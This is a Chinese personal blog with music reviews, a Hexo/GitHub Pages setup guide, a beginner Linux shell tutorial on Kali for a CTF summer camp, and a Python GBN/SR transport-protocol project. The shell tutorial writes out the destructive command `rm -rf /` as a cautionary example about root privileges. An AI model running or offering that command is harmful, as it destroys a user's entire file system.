0%

本人对音乐、乐理、电音制作等知识皆一窍不通,就是个臭打鼓的。因此本条博客是一个纯个人向音乐鉴赏与推荐!

Glitched Universe - 削除

链接:网易云
评语:世界纷繁错乱,但令人心潮澎湃的心愿永远存在。

[0:00 - 0:37 Build Up]

从空灵的女声开始,不断快速切入各种声部,包括富有动感的DnB鼓,极光般的弦乐,更具Glitch色彩的音效……然后在最后一小节提前爆发切入DROP!

[0:37 - 0:55 DROP]

宇宙,世界的绚烂。背景中心电图般爬升而又落下的像素音,坚定的女声与电声主旋律(这个lead我很喜欢),共同构成了这一副绚烂的图景!
(我真的很喜欢绚烂这个词)

[0:55 - 1:00]

DROP同样在最后一小节提前结束切入下段,但没有给人任何的失落感,而是让前后的衔接更加紧密,真是优秀的设计!这里是一个激烈的过渡段,用劲爆的节奏来为DROP收尾。

[1:00 - 1:24]

一个铺垫段,glitch噪音一直在耳边回响。电声乐器重复着变强又破碎(glitch音)的过程,好似恒星爆发又突然时光倒带。

[1:24 - 2:07 Build UP]

在刚才的基础上,似乎有了些规则的出现。glitch噪音不再是噪音,而是如同01的数据流一般;同时引入了些许钢琴旋律。

随后,又引入了心电图般爬升而又落下的像素音,以及隐隐约约渐强的DnB鼓。同时,lead变为了带一些glitch的像素音。情绪逐渐加强!

[2:07 - 2:13]

在我以为正要进入DROP时,旋律和节奏都突然停下了,取而代之的是一个持续的Glitch BASS。这时我仿佛来到了空旷无人的宇宙中,不见空间也不见时间。
随着BASS逐渐加强,流星般落下的音效出现,时间和空间逐渐回归。然后,在最后一小节提前切入——

[2:13 - 2:51 DROP]

整首曲子情感的爆发,重复了两遍的DROP让人感动。
再一次见证世界的绚丽

[2:51 - 3:00]

再次以激烈的节奏与电音为整首曲子收尾,让人意犹未尽,仍想再度踏上这次旅程。

Holy Night, Silent Night - Dachs

链接:网易云
风格:trance
评语:神一般的间奏,让人感动,和专辑封面一样美哭

[0:00 - 2:30]

开头仿佛是令人安心的冬夜,快要过圣诞了。抬头便可看到繁星流转于夜空。

[2:30 - 3:15 breakdown]

静谧的夜。情绪慢慢变得柔和,音乐逐渐无声……
柔和的钢琴响起,伴随着弦乐,仿佛回忆往昔时光,有着淡淡的伤感。

[3:15 - 3:56]

有力的钢琴伴随着诸多交响乐器逐渐加强,我们从回忆走出,镜头切换到身前,我们仿佛看到了奇迹——或是久别重逢、或者找回信仰。

[3:56 - 5:29]

极富力量感和动感的电音lead乐器将我们带回了现实,尽管主题是重复的,但这时的情感已经和 breakdown 之前不同了,这夜晚变得更加深沉。

[5:29 - 6:29 Epilogue]

尾声。

Noctambule - *-Teris.

链接:https://music.163.com/song?id=1974436463&userid=127208986
风格:garage house/jazz

一听到前奏就收藏了,感觉独特的jazz风电子音乐,处理地特别特别干净,作者太懂留白了。很多留白出会插入意想不到的乐器,有bass、有8-bit风电子乐器等等……

不过我最喜欢的还是 **[2:01 - 3:01]**,有种梦幻的感觉。

Random Access Memories - Daft Punk

链接:https://music.163.com/album?id=165455240&userid=127208986
风格:电子音乐

真的神专,每一首都值得反复听。随便挑一首特别喜欢的出来:Giorgio by Moroder,一首由采访起手的音乐,后面有点Trance的感觉,一步步铺垫情感,我就是被Trance给害了。
尤其是第一段落结束后( [4:59 - 5:15] ),在Giorgio说出:

Once you free your mind about a concept of harmony and of music being ‘correct’,
you can do whatever you want.
So nobody told me what to do, and there was no preconception of what to do.

之后,突然进了弦乐( [5:15 - 5:49] ),尽情表现着星空下的自由,然后主题再次回归,搭配弦乐,谁听了不会感动!

除了这段外,还有一个我很喜欢的细节——搓碟的声音和鼓的声音非常搭配地重叠在一起,非常独特的听感。
总之,我所说的神专,之所以是神,是因为它能带给我独特的体验,我相信它也能给其他听众带来不同的体验,所以大家都快去听。

干杯 - 五月天

链接:网易云
评语:神MV。和时间、人生有关的歌总是特别吸引人,7 years也是这样。

不剧透了,快去看MV!
唯一的缺陷就是音域太广了,我实在唱不了,不然每次KTV都要唱这首555

from Y to Y (乐队演奏) - ろじえも

链接:Bilibili
评语:神作,治愈系,给人以力量

鼓手对强弱的掌控实在是太好了,这样的演奏就好像是完美的,让人觉得这里就是这样最好,没别的更好了。
中间一段听得鸡皮疙瘩都起来了,impressive orz,本家和演奏都是绝对的神作。

你是否看到朋友开了微信公众号觉得很酷?你是否想分享自己的学习笔记、生活感想?你是否想拥有自己的个人主页?

那就一起来试试整个博客吧,反正是免费的不用花钱(<ゝω・)☆

方便起见,推荐在自己主系统上面配置博客,或者配置在WSL上。

软件安装

请参考官方文档 | Hexo,Windows安装Git时,全程保持默认选项即可。

注意,其中命令行指令需要在你安装系统的shell上执行。如果是Windows系统的话,需要使用刚刚安装的Git所附带的Git Bash。

静态网站生成

首先,在你电脑上挑一个喜欢的位置,我们会在这里存放博客的文件夹。

然后打开命令行,在这里输入(把 <folder> 替换成你想要的文件夹名):

1
2
3
$ hexo init <folder>
$ cd <folder>
$ npm install

完成后,这个目录的文件树如下:

1
2
3
4
5
6
7
8
.
├── _config.yml
├── package.json
├── scaffolds
├── source
| ├── _drafts
| └── _posts
└── themes

其中,比较重要的是配置文件 _config.yml 以及存放用户资源(文章、图片)的 source 文件夹。

接下来我们试着创建一篇文章,在当前目录下输入 hexo new <artical_name> (将 <article_name> 替换为你想要的博客标题),hexo会帮你在 source/_posts/ 目录生成一个新的文本文件。

接下来,用你喜欢的文本编辑器(或者markdown编辑器)打开这个文件,就可以使用markdown的语法来写文章啦!如果你之前没有接触过markdown的语法,可以参考一看就懂的Markdown入门语法笔记(整理自Markdown cheat sheet) - 知乎,说是语法其实就是普通的txt文本文件加上一些特殊的标记,特别简洁。

我校树洞也支持md语法,比如在一行字前面加上 # 和一个空格,就能够让它变特别大(一级标题)。

在编辑完成后,在命令行中输入指令 hexo g(g表示generate),hexo会根据当前的主题,将你写的文章转换成一个网页。然后我们再输入指令 hexo s(s表示server),hexo就会启动一个本地的web服务器,访问它给出的链接,就可以看到你的崭新的博客以及你刚写的一篇文章啦!

不过,这只是在本地的网站。接下来,我们会借助github提供的网站托管服务,将我们的网站发布在全球互联网上。

仓库配置

首先,你需要注册一个自己的github账号,记得取一个好记简洁的名字,因为github pages的默认域名就是你的名字。(之后也可以改)

之后我们会需要向github服务器提交我们的博客网站代码,而这背后是hexo通过git来完成的,git又会通过SSH来完成与github服务器的通信。配置属于你的SSH密钥,可以参考Github的官方教程Generating a new SSH key and adding it to the ssh-agent - GitHub Docs。我们生成ed25519算法的key就可以。

在生成并配置好你的密钥后,我们需要将公钥上传到你的github账户上。我们需要在github网站上,点击右上角的头像,找到Settings,然后在左边找到 SSH and GPG keys,点击 New SSH key。

然后我们需要 cat ~/.ssh/id_ed25519.pub ,将其中的内容复制到Key那里,并在Title那里为这个Key取一个名字。然后回到命令行,输入 ssh -T git@github.com,然后输入yes,看提示信息即可确认你有没有成功添加。

之后,我们还需要配置以下git的全局的个人信息,这样你在git提交代码时就会显示你的信息了。如果你用git和别人合作码代码,某次提交出了问题大家就知道应该拷打谁了。

1
2
$ git config --global user.name "cameudis"			// 你的用户名
$ git config --global user.email "xxx@xxx.com" // 你的邮箱

然后登上Github网页端,创建一个新的仓库,名字一定要设置为 你的用户名.github.io,权限选择公开。比如我的github用户名是Cameudis,我的仓库就名为 Cameudis.github.io,我的博客网址就会是 https://cameudis.github.io/ (网址URL是大小写无关的)。

创建完毕后,打开你的博客文件夹中的配置文件 _config.yml,翻到最底下,把deploy的配置改成这样:

1
2
3
4
deploy:
type: git
repo: https://github.com/<username>/<project>
branch: gh-pages

然后在博客文件夹中输入 npm install hexo-deployer-git --save,安装一键部署插件。安装完毕后,直接输入 hexo d(d表示deploy),就可以将hexo生成好的网站上传到github上。之后更新了文章或博客配置,就可以先用 hexo g 生成,用 hexo s 来本地预览,然后用 hexo d 来上传到Github。

注意:有一些功能需要先使用 hexo clean 来将当前生成的网站清空,然后再重新 hexo g 生成。如果你疑惑你的更改怎么没有生效(比如换主题的时候),就可以clean之后再试试。

等待一分钟左右的时间,你就能在属于你的链接上看到属于你的网站了!如果等不及的话,可以在你的博客的github仓库中选择Actions查看部署进度。

后续探索

拥有自己的博客,一大乐趣就是折腾主题、折腾配置,把自己的网站变成想要的样子。

官方的配置教学中,有着对于 _config.yml 文件的说明。

除此以外,很多东西都在官方的文档中有着说明,推荐都看看。比如如何插入图片就可以查看资源文件夹 | Hexo

我使用的主题是Butterfly(进行了一点魔改),安装、配置请看这里:Butterfly 安裝文檔(一) 快速開始

我使用的评论插件是Valine,教程请参考使用Valine给Hexo博客添加评论功能 | Cameudis’s Blog

可以使用hexo-blog-encrypt来对某些文章加上密码,教程请看hexo-blog-encrypt/ReadMe_zh

本教程初次编写于六星2023CTF夏令营,升级后作为Linux系列教程的第零篇。
欢迎对Linux毫无了解的读者通过本教程入门Linux命令行基础操作~

What is Shell?

Shell的中文是壳,读者可能听说过一部叫做《Ghost in The Shell》(攻壳机动队)的作品。

Ghost-in-the-Shell

在计算机的世界中,Shell指的是一类软件,允许用户和计算机进行交互。

In computing, a shell is a computer program that exposes an operating system‘s services to a human user or other programs. In general, operating system shells use either a command-line interface (CLI) or graphical user interface (GUI), depending on a computer’s role and particular operation. It is named a shell because it is the outermost layer around the operating system.

—WikiPedia

在远古时期,我们没有鼠标,也没有图形化界面。那时候,我们就使用键盘来给计算机发送信息,而计算机就通过只能显示文字的显示屏来给我们显示信息。(当然,更远古的时期我们有的只是打孔纸带)这个能够读取我们命令,从而允许我们操作电脑、打开程序、移动文件的程序,就叫做Shell。这是计算机的Shell,也是我们自己在宽广的网络世界中的Shell。

在现在,Shell,尤其是 CLI Shell(Command-Line Interface Shell,命令行shell),依然在计算机世界中发光发热,为广大CSer提供着基础、方便、强大的与计算机的交互手段。尽管我们已经有了简洁直观的GUI(Graphical User Interface,图形用户界面)、智能的语音输入、甚至酷炫的Apple Vision Pro等AR/VR设备,但这些交互方式的强大之处也正是其缺陷——它们限制了我们的自由,让我们只能按照给定的接口与设备进行交互。

这个教程将会已Kali系统为例(当然其他发行版也适用本教程),讲解Linux系统的shell基础。

使用shell

所有的Linux系统都会预装一个Shell,而这些Shell的语法都是类似的,差别大部分在于一些拓展功能。比如在Ubuntu等系统上,默认的shell是 bash,而Kali系统上,预装的Shell叫做 zsh

当你打开你的Shell程序,你会看到一个提示符(prompt),表示 请您输入指令,比如:

1
2
┌──(kali㉿kali)-[~]
└─$

本教程之后会使用 $ 代指这个提示符。

在shell程序的可执行文件中,其实是一系列字符串处理的代码,负责将我们输入的字符串解析成指令来执行。比如,我们可以输入data:

1
2
$ date
Fri 10 Jan 2020 11:49:31 AM EST

shell 解析我们输入的字符串 "date" ,发现用户想要获取时间,于是就打印出了当前时间。

我们再试试输入 echo hello

1
2
$ echo hello
hello

shell 解析我们输入的字符串 "echo hello" ,根据空格来分割出两个token:echo 以及 token

然后 shell 将第一个token解析成指令,后面token都解析成参数。它发现我们是要求回声(echo),于是就调用相应的代码,将我们传给它的第二个token hello 打给了我们。

那我们都有哪些可以用的指令呢?我们可以用的指令大概有两种:

  • shell自己代码实现的指令
  • 计算机上的程序

如果shell发现我们输入的指令并不是它自己实现的,它就会认为这是一个计算机上的程序。如果它在计算机上找不到这个程序的话,就会报错:

1
2
$ Genshin start!
Genshin: command not found

Where am I?:文件系统

我们知道,计算机里的文件一般是以文件夹的形式组织起来的。在Windows下,我们可以看到C盘这个”大文件夹“下面有着 Program Files, Users 等等文件夹,在其中又有着许多许多的文件夹……

如果我们把C盘当作树根,文件夹当作树枝,文件当作树叶,我们可以发现这不就是一棵树吗!在Linux文件系统中,真的有这么一个目录,就叫做根目录(root directory),其符号为 /

想要看看Linux的文件树上都有哪些枝叶吗?让我们先走到树根那里:

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ cd /
┌──(kali㉿kali)-[/]
└─$

我们可以使用 cd 指令,其全称是 change directory。在shell中输入 cd / 之后,我们会发现prompt有一定的变化。(这很像MUD,一种的远古文字游戏)

有一个 ~ 符号变成了 /,这表示我们的位置已经到了树根这里。这里有什么呢?

1
2
3
4
5
6
┌──(kali㉿kali)-[/]
└─$ ls
bin home lib32 media root swapfile var
boot initrd.img lib64 mnt run sys vmlinuz
dev initrd.img.old libx32 opt sbin tmp vmlinuz.old
etc lib lost+found proc srv usr

我们可以看到这里有很多东西,这是不同Linux发行版都会有的约定,也就是什么东西放在哪里。接下来我尝试用cd和ls结合回到家目录。

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[/]
└─$ cd home

┌──(kali㉿kali)-[/home]
└─$ ls
kali

┌──(kali㉿kali)-[/home]
└─$ cd kali

┌──(kali㉿kali)-[~]
└─$

我们发现,在prompt上显示的位置又回到了 ~

我们进入(回到)这个文件夹时,顺序依次是 / home kali,因此可以把这个拼接成其绝对地址 /home/kali

让我们输入 pwd (print working directory)来确认一下,这个指令能够告诉我们现在我们在哪:

1
2
3
┌──(kali㉿kali)-[~]
└─$ pwd
/home/kali

实际上,~ 这个特殊符号就表示当前用户(kali)的家目录。我们可以把这里当作桌面一样的地方来保存文件。

常用的文件系统指令包括:

1
2
3
4
5
6
7
8
$ pwd    # 我在哪?
$ ls # 这里有什么?
$ cd xxx # 我要去xxx文件夹
$ cd .. # 我要去上一级文件夹
$ mv # 移动文件
$ cp # 复制文件
$ rm xxx # 删除文件 (文件夹要加上-r参数)
$ mkdir # 创建文件夹

文件读写:配置软件安装源(apt包管理器)

文件夹中,不仅有着目录,还有着其他的文件。接下来我们以配置软件安装源为例,展示文件相关的操作。

在Linux上,有着被称为软件包管理器的一类软件,负责统一管理系统上软件或库的安装、升级、卸载,类似苹果的App Store。由于这是统一管理的,所以安装软件或库会非常方便。

通常而言,在国内安装Linux之后,首先就是需要更改所使用的软件包管理器(Ubuntu和Kali都使用apt)的软件仓库地址(或者称为软件源)。由于某种神秘力量的影响,国内可能不能访问官方默认的软件源(或很慢),因此国内有许多组织都维护了镜像站(也就是官方源的国内镜像版本)。

比如说,可以使用由 USTC LUG(中科大 Linux User Group)维护的镜像服务,官方教程的链接是:发行版镜像使用帮助

在上面这个教程中,可能写了这个:

编辑 /etc/apt/sources.list 文件, 在文件最前面添加以下条目:……

运用上面的知识,我们已经可以移动到 /etc/apt/ 文件夹,并且用 ls 看到这个目录下确实有一个 sources.list 文件。

我们可以使用 cat 指令来查看这个文件有什么内容,只需要在 cat 后面加上这个文件的路径。由于这个文件就在当前文件夹,所以只需要输入文件名即可,这是一种相对路径。你可以使用tab键来让shell帮你自动补全文件名,减少输入的功夫。

1
2
3
4
5
6
7
┌──(kali㉿kali)-[/etc/apt]
└─$ cat sources.list
# See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware

# Additional line for source packages
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware

现在这个文件里已经有这么几行链接了,接下来我们尝试使用 nano 编辑器来对其进行编辑,还是和上次一样,只需要在 nano 后面加上文件名(也就是用相对路径引用这个文件):

$ nano sources.list

打开后,我们会在底下发现一行红色报错:File 'sources.list' is unwritable

Linux用户、用户组、权限

真的unwritable吗?如wri。

Linux系统给许多重要的文件、目录都设置了权限要求,没有权限的普通用户没办法修改。(是的,默认的用户kali是普通用户)在Linux系统中,有一个特殊的用户叫做root,几乎拥有一切权限,但为了这台计算机系统的安全起见,我们一般都不会登录这个用户。

试想一下,当你一不小心在命令行上敲出了 rm -rf / (对整个文件系统进行删除),如果你这时候还是普通用户的话,系统会提示你权限不够,从而保护了自己。但如果你是root用户的话……和这台系统说再见吧~

我们可以用 ls -l 来查看当前目录下各种文件的详细信息,其中各列信息如下所示:

文件属性 文件数 拥有者 所属group 文件大小 创建时间 文件名
drwxr-xr-x 2 root root 4096 Jun 3 13:38 apt.conf.d
-rw-r–r– 1 root root 1033 Jan 1 10:12 sources.list

文件属性一共有十个字母,第0个表示文件类型,d指directory,-指普通文件。

13,46,7~9分别为一组,分别表示文件所有者、所属group用户、其他用户对文件的权限。r表示可读(readable),w表示可写(writable),x表示可执行(executable)。

我们观察sources.list的文件属性,可以发现root用户可以进行读写,而root group的用户和其他用户都只读。

因此,为了修改这个文件,我们必须要使用root用户的权限。好在这有一种简单的方法可以做到:在想要执行的指令之前加上 sudo。因此我们还是可以写的。

更多细节可以参考本系列的下一篇教程,不过下一篇教程难度距离本篇高了一截,推荐已经使用一段时间Linux、对计算机整体架构有基本认识的读者阅读。

编辑文件

我们观察nano底部的操作栏,可以找到左下角的Exit。这里的 ^X 表示Ctrl+X的意思。因此我们使用这个组合键来退出。退出以后,我们按 ↑ 键即可取出上次我们执行的指令,然后再敲 Home 键(数字键盘附近的)将光标提到最前面,输入 sudo空格,敲击enter。

$ sudo nano sources.list

这里会提示我们输入密码,如果是kali系统就输入默认密码 kali

进入nano编辑器的界面后,复制中科大源的两个链接,将光标移到开头之后使用 Ctrl+Shift+V 来将其黏贴上去。这个编辑器的逻辑和我们常用的记事本等差不多,所以大家可以自行修改。

修改完成以后,先使用 Ctrl+S 进行保存,然后再 Ctrl+X 退出即可。

当然你也可以用教程中的其他方法完成换源

感觉如何?命令行的编辑器也可以非常强大,不论是功能性、美观性还是方便性的角度都是如此。有一款各种Linux都会自带的编辑器被许多人称为”编辑器之神“,它就是大名鼎鼎的Vim。如果你有兴趣,可以在 编辑器 (Vim) · the missing semester 进行了解。

好吧我知道这个很有用,但是这个指令咋用啊?:tldr

在计算机的世界中,有着许许多多的奇怪缩写,接下来介绍的这个软件就有一个非常奇怪的缩写:tldr

too long don’t read: 太长不看

接下来我们将会展示如何安装这个软件。在安装软件之前,先更新一下本地的资源目录是一个很好的习惯:

$ sudo apt update

它会提示你有多少个包可以更新,我们可以选择先别管他,因为刚刚安装系统后更新可能要很久(我这里有781个包要更新)。我们输入:

$ sudo apt install tldr

经过一些提示信息,当我们再次看到prompt的时候,就说明这个软件已经装好了。我们可以试着运行一下它,来看看到底是不是装好了:

1
2
3
4
5
6
7
8
9
10
11
12
$ tldr
tealdeer 1.5.0
Danilo Bargen <mail@dbrgn.ch>, Niklas Mohrin <dev@niklasmohrin.de>
A fast TLDR client

USAGE:
tldr [OPTIONS] [COMMAND]...

ARGS:
<COMMAND>... The command to show (e.g. `tar` or `git log`)

......

接下来,我们还需要更新一下这个软件的本地缓存(可能会有些慢):

1
2
$ tldr --update  # 你也可以用-u来代替--update
Successfully updated cache.

在这之后,我们就可以愉快地使用这个软件了!让我们用一个经典的递归式查询来查询一下tldr的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ tldr tldr    

Display simple help pages for command-line tools from the tldr-pages project.
More information: <https://tldr.sh>.

Print the tldr page for a specific command (hint: this is how you got here!):

tldr command

Print the tldr page for a specific subcommand:

tldr command-subcommand

Print the tldr page for a command for a specific [p]latform:

tldr -p android|linux|osx|sunos|windows command

[u]pdate the local cache of tldr pages:

tldr -u

想知道什么指令的用法,或者不记得哪个指令怎么用了,直接使用 tldr <命令名> 就能快速地查到这个软件常用的用法了。

作为习题,你可以挑战一下快速找到如何使用apt来列出本机安装的软件包、如何将本机的软件包升级到最新的版本、以及如何删除一个软件包(删除时请一定小心!初学时笔者曾尝试删除python2,导致系统里许多依赖python的软件都无法正常运行,桌面软件都爆炸了,花了好久才给救回来)。

查询非常用用法:Manual手册

我们使用tldr查询用法时,实际上是一种”非官方渠道“,也就是由非官方的组织收集得来的常用用法。这其实并不能保证查到的用法一定是正确的、我们想要的,也不能帮助我们将一个软件的功能发挥到极致。

如何查询一个指令/软件的官方用法?答案是使用 man 指令,其全称是 manual (手册)。基本上每个软件或指令都会有对应的、由官方编写的、规范化的文档,我们通过man来阅读它们。如果没有对应的 man page 的话,这表示这个指令可能是由shell程序自己实现的而不是一个独立的软件,这时候可以通过 help xxx 来查看其用法。

这里又引出了另一个非常奇怪的缩写:RTFM,以下是两种解释(看你想如何理解)

Read the F**king Manual:快™去读手册!!

Read the Friendly Manual:去看看友好的手册吧~

早年间,很多伸手党小白会在网络上提非常简单的问题,这时候懒得回答的暴躁老哥就会说出这句经典缩写。这个小故事启发我们:当遇到不懂的事情,多查查手册这一官方出品的一手资料,慢慢地你一定会变得更有耐心、更能解决问题、英语阅读分更高

另外,在man的页面当中使用 / 可以在当前文档中向后搜索关键词,使用 n 来切换到下一个搜索结果,使用 shift+n (就是大写N)来切换到上一个搜索结果。这个功能会很有用。

让我们做个小练习,请借助 man ls ,找到能做到以下效果的指令:

  • 打印隐藏的文件
  • 大小以人类可以理解的格式显示(比如显示 454M 而不是 454279954)
  • 文件以最近访问顺序排序

我是MARIO:iostream重定向 & pipes管道

上过C语言和C++的大家应该知道,命令行程序有三个默认打开的“流”,分别是stdin,stdout以及stderr。在我们运行命令行程序时,标准输入就是我们敲进去的东西,而程序打印东西到stdout或者stderr,其实就是打印到命令行上。

在学习C或C++的文件操作的时候,会发现一个很巧的事情——文件读写用到的API,和标准输入输出用的那些API其实都差不多,这是因为文件和标准输入输出本来就是一样的。在Linux系统中,一切皆文件。不仅传统意义上的文本文件、多媒体文件等普通文件是文件,套接字(网络接口)、键盘鼠标设备等等都是文件,可以用统一的一套文件API进行处理。

这种设计不仅带来了极大的统一性,也带来了极大的便捷性。本节介绍的iostream重定向和pipes管道就与这种设计有关。

既然stdin和stdout也是文件流,那么我们当然可以把他们重定向到一个普通文件!我们让一个文件被定向到一个程序的标准输入,或者让一个程序的标准输出定向到一个文件当中。前者我们使用 < file,后者我们使用 > file,如下所示:

1
2
3
4
5
6
7
8
9
10
$ echo hello > hello.txt		# 把stdout重定向到hello.txt中
$ cat hello.txt
hello

$ cat < hello.txt # 把hello.txt重定向到cat的标准输入
hello

$ cat < hello.txt > hello2.txt # 同时重定向cat的标准输入和标准输出
$ cat hello2.txt
hello

那我们能不能把两个程序首位相连呢?把第一个程序的标准输出用作第二个程序的标准输入,在这两个程序之间构造一条虚拟的管道!这种神奇的操作是通过 | 来完成的:

1
2
3
4
5
6
7
8
9
$ cat 1.txt           
GODEL
ESCHER
BACH
$ cat 1.txt | tail -n1 # 打印1.txt的最后一行
BACH
$ cat 1.txt | grep CH # 寻找1.txt中带有CH的行
ESCHER
BACH

据说,传奇的命令行大师会用管道构造一长条链,我们尊称其为Mario。

Play with Shell

接下来,笔者推荐有空的读者试试看一个Wargame,链接是OverTheWire: Bandit。这个闯关游戏能帮助初学者快速掌握各种命令行常用工具的用法。在有了本教程的基础以后,这个游戏仍然有一定的挑战性,需要广泛地收集资料。

在这里,最后介绍一个奇怪的缩写:STFW

Search The Friendly Web: 去搜搜互联网吧,相信你能找到想要的

Remember - this stuff is not easy if you don’t know much, so google everything, question everything, and sooner or later you’ll be down the rabbit hole far enough to be enjoying yourself.

— How to start hacking? - r/hacking

祝愿大家能通过这个Wargame,从此发现一个不一样的计算机世界。


参考资料

强烈推荐:计算机教育中缺失的一课 · the missing semester

为了和之后的网络工具介绍环节联动,Linux常见指令教学将会使用Kali进行。

Windows

首先需要装一个VMware。由于夏令营的安卓逆向部分会用到与hyper-V不兼容的安卓模拟器,因此这里不推荐WSL了 (`ε´)。

VMware Workstation Player官网下载链接:VMware Workstation Player | VMware | CN

VMware Workstation Pro可以自行找链接下载(然后网上搜一个注册码),但是我们不鼓励盗版!

在安装完毕之后,我们直接下载开箱即用的Kali虚拟机,下载链接:Get Kali | Kali Linux

下载完之后,找一个好地方解压(这个Kali虚拟机需要一直保存在那个地方),然后打开VMware,在左上角的文件菜单中点击打开,找到你刚刚解压出来的文件夹中的 kali-linux-...-amd64.vmx 打开,这一步之后你就拥有了一台Kali虚拟机!

默认的账号和密码都是 kali,开始你的Linux之旅吧!

MacOS(M1/M2)

请看J3rry同学编写的教程

在这学期计网的PJ中,我被迫实现了GBN协议、基于连接的全双工可信传输协议,并在此基础上改造了SR协议版本,并为其添加了基础的拥塞控制机制(AIMD)。
这是Github项目仓库

主体是gbn.py以及sr.py,API接口模仿socket设计,均能连续通过200轮测试。下面是使用例(这就是全部API了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# sr_server.py
from sr import SRSocket

HOST = 'localhost'
PORT = 8000

s = SRSocket()
s.bind((HOST, PORT))

s.listen()
s.accept()
print('Connected by', s.address)

f = open('server/recv.jpg', 'wb')
while True:
data = s.recv()
if data == b"": # 空的数据包标识文件结束
break
f.write(data)

f.close()
s.send(b"Thank you for your data!")
s.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# sn_client.py
from sr import SRSocket

HOST = 'localhost'
PORT = 8000

s = SRSocket()
s.connect((HOST, PORT))
print('Connect to', s.address)

f = open('client/data.jpg', 'rb')
data = f.read()
f.close()

s.send(data) # 阻塞的
s.send(b"") # 用空的payload表示文件发送结束
print(s.recv().decode())
s.close()

客户端将会把图片 client/data.jpg 传输至服务器端,服务器保存图片至文件 server/recv.jpg 后,将会给客户端发送一条信息,客户端接收并将其打印出来。

由于是全双工的,所以客户端可以给服务器发送消息,服务器也可以给客户端发送消息。

1 GBN

1.1 准备

为了保证全双工的一致性,从一开始就准备将服务器端协议实现和客户端协议实现放在一个类中,命名为GBNSocket。为了方便起见,我直接模仿socket的api,主要是如下这些函数:

1
2
3
4
5
6
7
8
9
10
11
12
# 客户端
def connect(address)

# 服务端
def bind(address)
def listen()
def accept()

# 通用
def send(data)
def recv([size])
def close()

真实的accpet函数会返回一个新的套接字,我将其简化为自身就变成与之通信的套接字。

我设计的数据包结构为:

1
2
3
4
5
6
7
struct packet {
uint8_t seqNum;
uint8_t ackNum;
uint8_t flag;
uint8_t checkSum;
uint8_t data[];
};

其中flag字段有三个有效bit,定义为:

1
2
3
SYN = 1
FIN = 2
ACK = 4

而checkSum计算方法非常简单粗暴,就是把所有字节加起来(模加法),如下:

1
2
3
4
5
6
7
def getChecksum(data):
length = len(str(data))
checksum = 0
for i in range(0, length):
checksum += int.from_bytes(bytes(str(data)[i], encoding='utf-8'), byteorder='little', signed=False)
checksum &= 0xFF
return checksum

1.2 滑动窗口

我为每个socket维护了两个buffer数组,分别用于发送和接收数据(sdata 以及 rdata)。
相关的一些指针(其实是index)定义和用途如下:

1
2
3
4
5
6
7
8
9
10
# send
self.sdata = [None] * 256 # send data buffer
self.spos = 0 # send position (last available sdata + 1)
self.sbase = 0 # send base
self.snext = 0 # next seq to be sent

# receive
self.rdata = [None] * 256 # receive data buffer
self.rbase = 0 # receive base (not return to app yet)
self.rexpect = 0 # expected next seq

这些数据在计算时全都模256进行,所以有些运算会很烦,这是我在实现协议时遇到的主要困难之一。

在发送包时,由于是GBN协议,因此seqNum和ackNum两个字段分别用于表示“本条消息对应的序列号”以及“我希望收到的下一个包的序列号”。这里ackNum是一种累计确认,表示自己之前的所有数据包已经接收完毕。

1.3 雏形

最重要的函数显然是send和recv。
我将send、recv、以及一个辅助函数_wait的职能总结如下:

  • send:将新的数据安排到 self.sdata 数组中(更新 self.spos),并在循环中根据窗口大小,发送之前没有发送过的新包(拓展 self.snext)。通过调用 self.wait 来更新 self.sbase ,直到所有将要发送的数据都发送完毕(self.sbase == self.spos)。
  • recv:self.rbase 表示当前没有被返回至上层的最后一个包,self.rexpect 表示当前已经可以返回的最后一个包。如果它俩相等,说明现在没有可以返回的包,那么recv会调用 self.wait 来更新 self.rexpect;否则recv会返回一个包的数据。
  • wait:核心函数(不属于API的一部分),负责处理收到的所有包、根据其类型来进行各种操作如发送ACK、存储数据等。其本质是更新 self.sbaseself.rexpect。它有recv模式,在该模式下一次超时就会返回调用者(用于recv);除此以外,它会在结束或遇到错误(如超时次数过多)时返回false,在 self.sbase == self.snext 时(即所有包都确认完毕)返回true。

由于是Go-Back-N协议,因此在wait中,如果发生超时,那么从 self.sbaseself.snext 的所有包都会被重传。

注意:wait是客户端和服务器端都会使用的函数,因此实现了全双工的统一性。

1.4 连接

为了标识通信开始、标识通信结束、维护随机化的sbase和rbase,需要实现连接状态。
为了实现连接状态,需要设计连接的开始机制和结束机制。

建立连接

在建立连接时,由客户端向进入listen阶段的服务器端口发送 flag |= SYN 的请求建立连接的报文。同时,客户端将会随机化其 sbase(初始序列号),并把 sbase-1 发送给服务器来让服务器的 rbase 与其同步。

1
2
3
4
5
6
7
8
9
10
11
12
13
def connect(self, address):
if (self.connected):
print(f"[error] You have connected to addr {self.address}")
return

# randomize init seq
self.sbase = random.randint(0, 255)
self.snext = self.sbase
self.spos = self.sbase

self.address = address
syn_pack = make_pkt((self.sbase-1)%256, 0, b"", start=True)
self.udp_send(syn_pack)

服务器端socket首先需要调用bind来绑定某一端口监听,然后调用listen进入服务器状态。服务器状态下才可以调用 accept。(这个设计比较愚蠢,就是为了给listen一个用途而已)

服务器在 accpet 中接收到SYN报文后,将会将其 self.address 更新为客户端地址,其 rbase 更新为 seqNum + 1,随机化它自己的 sbase,然后向客户端发送 SYN | ACK 报文来确认连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def accept(self):
if (not self.is_server):
print("[error] not server")
return

self.udp_socket.settimeout(None)
rcvpkt, address = self.udp_socket.recvfrom(HEADER_SIZE+BUFFER_SIZE)
seqNum, ackNum, flag, checksum, data = analyse_pkt(rcvpkt)
if flag & SYN:
print("[info] SYN from", address)
self.connected = True
self.address = address

self.rbase = (seqNum + 1) % 256
self.rexpect = self.rbase

self.sbase = random.randint(0, 255)
self.snext = self.sbase
self.spos = self.sbase

synack_pack = make_pkt(self.sbase, self.rexpect, b"", start=True, ack=True)
self.udp_send(synack_pack)
else:
print("[error] not SYN")
return

当然,这两条特殊的报文同样要考虑丢包的问题。

